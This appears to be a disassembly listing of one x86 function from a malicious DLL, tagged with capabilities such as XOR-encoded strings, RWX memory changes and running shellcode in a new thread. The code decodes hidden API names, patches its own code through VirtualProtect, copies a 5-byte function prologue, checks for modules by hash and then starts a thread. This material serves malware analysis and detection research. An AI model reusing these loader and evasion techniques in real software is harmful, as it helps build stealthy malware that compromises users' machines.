Function at 0x1000c650
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x10139bc4]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov dword [ebp - 0x28], 0
jne 0x1000c8b3
mov eax, dword [ebp + 8]
push 0x94
mov dword [0x1013ab38], eax
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.100125a0
add esp, 0xc
mov dword [ebp - 0x104], 0x94
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, 0x9b
xor ecx, ecx
mov al, byte [ecx + 0x1002df3c]
xor al, dl
mov byte [ebp + ecx - 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000c6b0
push ebx
push esi
push edi
push 0x44a37c34
lea ecx, [ebp - 0x4c]
mov byte [ebp - 0x2e], 0
call fcn.10002250
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x40]
push ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
push 0x1e
lea ecx, [ebp - 0x24]
mov word [ebp - 0x44], 0
xorps xmm0, xmm0
mov word [ebp - 0x30], 0
push ecx
push eax
movq qword [ebp - 0x4c], xmm0
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x2e], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 0x1e
push 0x10007e30
call ebx
push 0x1e
lea eax, [ebp - 0x24]
push eax
push 0x10007e30
call fcn.10012020
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 0x1e
push 0x10007e30
call ebx
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
movups xmmword [ebp - 0x24], xmm0
mov edx, 0x54
mov word [ebp - 8], 0
movq qword [ebp - 0x14], xmm0
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1002df5c]
xor al, dl
mov byte [ebp + ecx - 0x64], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x14
jb 0x1000c780
mov byte [ebp - 0x50], 0
mov edx, 0xae
xor ecx, ecx
mov al, byte [ecx + 0x1002df74]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x1000c7a3
lea eax, [ebp - 0x64]
mov byte [ebp - 0x2e], 0
push eax
lea eax, [ebp - 0x3c]
push eax
call edi
push eax
call esi
mov esi, eax
mov dword [ebp - 0x34], 0
mov word [ebp - 0x30], 0
xorps xmm0, xmm0
movq qword [ebp - 0x3c], xmm0
mov byte [ebp - 0x2e], 0
mov dword [ebp - 0x54], 0
mov byte [ebp - 0x50], 0
movups xmmword [ebp - 0x64], xmm0
test esi, esi
je 0x1000c89b
lea eax, [esi + 5]
mov dword [0x1013ad58], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push 0x1000a3f0
call ebx
mov eax, dword [esi]
mov ecx, 0x1000a3f0
mov dword [ecx], eax
mov al, byte [esi + 4]
mov byte [ecx + 4], al
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 5
push 0x1000a3f0
call ebx
push 0x397b779e
lea ecx, [ebp - 0x2c]
call fcn.10002700
push eax
call edi
test eax, eax
jne 0x1000c87a
mov eax, str.2_:1__y_56
lea ecx, [ebp - 0x70]
sub eax, 0x5abdd636
push eax
call fcn.10002150
push eax
call edi
test eax, eax
jne 0x1000c87a
push 0x73dcb7f7
lea ecx, [ebp - 0x4c]
call fcn.100023d0
push eax
call edi
test eax, eax
jne 0x1000c87a
mov al, 1
jmp 0x1000c87c
xor al, al
test al, al
je 0x1000c89b
call fcn.1000d980
push 0x1013ab34
push 0x1000a2d0
push esi
call fcn.1000d7e0
push esi
call fcn.1000d960
push 0
push 0
push 0
push 0x10005d00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.1000fa46
mov esp, ebp
pop ebp
ret 0xc